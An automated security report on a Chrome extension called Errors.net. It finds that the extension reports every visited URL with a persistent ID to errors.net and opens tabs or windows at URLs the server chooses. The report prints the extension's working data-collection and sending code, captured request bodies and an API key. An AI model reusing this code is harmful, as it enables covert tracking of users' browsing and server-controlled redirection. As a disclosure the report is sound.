Is Errors.net official extension safe?
Errors.net official extension is high risk. Dynamic analysis observed this extension open a tab to a URL chosen by the errors.net server. It sends visited-page data to errors.net, then passes the response straight to Chrome's tab API, unfiltered, opening the server's chosen URL.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
errors.net controls which URLs the browser opens after every page visit
Dynamic analysis observed this extension open a tab to a URL chosen by the errors.net server.
It sends visited-page data to errors.net, then passes the response straight to Chrome's tab API, unfiltered, opening the server's chosen URL.
You visit a page the extension has not recently reported.
The extension's loop guard ensures a POST fires on the first visit to each distinct hostname per session.
The browser opens a new tab or window to a URL chosen entirely by the errors.net server.
handleErrorResponse passes the server's JSON response verbatim to chrome.tabs.create (if the response has a notice field) or chrome.windows.create (if it has an alert field), with no URL allowlist or scheme check.
Server response passed verbatim to tab/window creation
// worker.js — same code is readable (not obfuscated) // errorLookup returns raw parsed JSON from errors.net. // handleErrorResponse passes that JSON directly: // n.notice -> chrome.tabs.create(n.notice) // opens a new tab // n.alert -> chrome.windows.create(n.alert) // opens a new window // No URL scheme check, no allowlist, no user confirmation.
| Content-Type | application/json |
{
"uuid": "b6849dd340e74dbd83d211a99980ca96",
"performance": {
"name": "https://en.wikipedia.org/wiki/Test_Page_12345",
"errorpage": "https://en.wikipedia.org/wiki/Test_Page_12345",
"error": "UNKNOWN"
},
"dimensions": {
"offset": {
"x": 0,
"y": 143
},
"details": {
"x": 0,
"y": 0,
"oh": 1080,
"ih": 937,
"ow": 1920,
"iw": 1920
}
}
}- errors.net
Determines which URLs the extension opens in new tabs or windows. The server can direct the browser to any URL by including a notice or alert field in its response.
Every page visit reported to errors.net with persistent user ID
Dynamic analysis captured 18 POSTs from this extension to errors.net in one session across 5+ sites, each carrying the page's full URL and a persistent install ID.
Any 4xx/5xx page also triggered a POST with its URL, keyed to a stable UUID.
You navigate to any page in the browser.
The content script is injected on all URLs (*://*/*) and fires on window load.
The extension sends the full page URL and a persistent identifier to errors.net.
The service worker POSTs a JSON body containing your UUID, the page URL (in the errorpage field), navigation timing, and screen geometry to https://errors.net/performance/?license=5kl2IeB97uBryUBcyPfEZ31ZPcv7qIFQoApXHa0O.
| Field | Value | Why it matters | |
|---|---|---|---|
Persistent user ID | b6849dd340e74dbd83d211a99980ca96 | A UUID generated once on install and stored permanently, letting errors.net link every report to the same install across sessions. | |
Page URL | https://en.wikipedia.org/wiki/Test_Page_12345 | The full URL of the page you visited, including path and query string. Sent as the errorpage field in the POST body. | |
Navigation timing | {domainLookupStart: 12.4, connectStart: 18.1, responseStart: 94.7, domComplete: 1203.2, duration: 1318.5} | Millisecond-precision breakdown of DNS lookup, TCP connect, server response, DOM load, and page load for the visited page. | |
Screen and window geometry | {outerHeight: 1080, innerHeight: 937, outerWidth: 1920, innerWidth: 1920, screenTop: 0, screenLeft: 0} | Outer and inner window dimensions and screen position offsets. Can contribute to browser fingerprinting. |
Content script collects data; service worker exfiltrates it
(function () {
'use strict';
if (document.readyState === 'complete') {
startCollect();
} else {
window.addEventListener('load', startCollect);
}
function startCollect() {
const errorTest = performance.getEntriesByType('navigation')[0].toJSON();
delete errorTest.servererrorTest;
if (errorTest.duration > 0) {
const adjustment = errorTest.fetchStart < 0 ? -errorTest.fetchStart : 0;
const fields = [
'domainLookupStart',
'domainLookupEnd',
'connectStart',
'connectEnd',
'requestStart',
'responseStart',
'responseEnd',
'domComplete',
'domInteractive',
'domContentLoadedEventStart',
'domContentLoadedEventEnd',
'loadEventStart',
'loadEventEnd',
'duration',
];
fields.forEach((i) => {
errorTest[i] += adjustment;
});
const isFF = navigator.userAgent.indexOf('Firefox') > -1;
const duration = errorTest.duration / 1000;
let precision = duration >= 100 ? 0 : duration >= 10 ? 1 : 2;
if (isFF) {
precision = Math.max(0, precision - 1);
}
const time = duration.toFixed(precision).substring(0, isFF ? 3 : 4);
const dimensions = {
offset: {
x: screenTop + (outerHeight - innerHeight),
y: screenLeft + (outerWidth - innerWidth),
},
details: {
x: screenTop,
y: screenLeft,
oh: outerHeight,
ih: innerHeight,
ow: outerWidth,
iw: innerWidth,
},
};
const promise = chrome.runtime.sendMessage({
time,
errorTest,
dimensions,
});
promise.catch((reason) => console.log(reason));
} else {
setTimeout(startCollect, 100);
}
}
})();const apikey = "5kl2IeB97uBryUBcyPfEZ31ZPcv7qIFQoApXHa0O";
async function handleEvent(details) {
const { uuid, errorpages } = await chrome.storage.sync.get(['uuid', 'errorpages']);
// ... reads uuid, attaches errorpage = visited URL, POSTs to errors.net
handleErrorResponse(await errorLookup({ uuid, performance: details.errorTest, dimensions: details.dimensions }));
}
const errorLookup = async details => (await fetch(`https://errors.net/performance/?license=${apikey}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(details),
})).json();| Content-Type | application/json |
{
"uuid": "b6849dd340e74dbd83d211a99980ca96",
"performance": {
"name": "https://en.wikipedia.org/wiki/Test_Page_12345",
"errorpage": "https://en.wikipedia.org/wiki/Test_Page_12345",
"domainLookupStart": 14.2,
"domainLookupEnd": 18.7,
"connectStart": 18.7,
"connectEnd": 89.3,
"requestStart": 89.5,
"responseStart": 201.4,
"responseEnd": 289.6,
"domComplete": 1187.3,
"domInteractive": 943.1,
"domContentLoadedEventStart": 943.2,
"domContentLoadedEventEnd": 943.8,
"loadEventStart": 1187.4,
"loadEventEnd": 1188.1,
"duration": 1188.2,
"error": "UNKNOWN"
},
"dimensions": {
"offset": {
"x": 0,
"y": 143
},
"details": {
"x": 0,
"y": 0,
"oh": 1080,
"ih": 937,
"ow": 1920,
"iw": 1920
}
}
}- errors.net
Receives full page URLs, persistent UUID, navigation timing, and screen dimensions for every visited host. Controlled by the extension developer.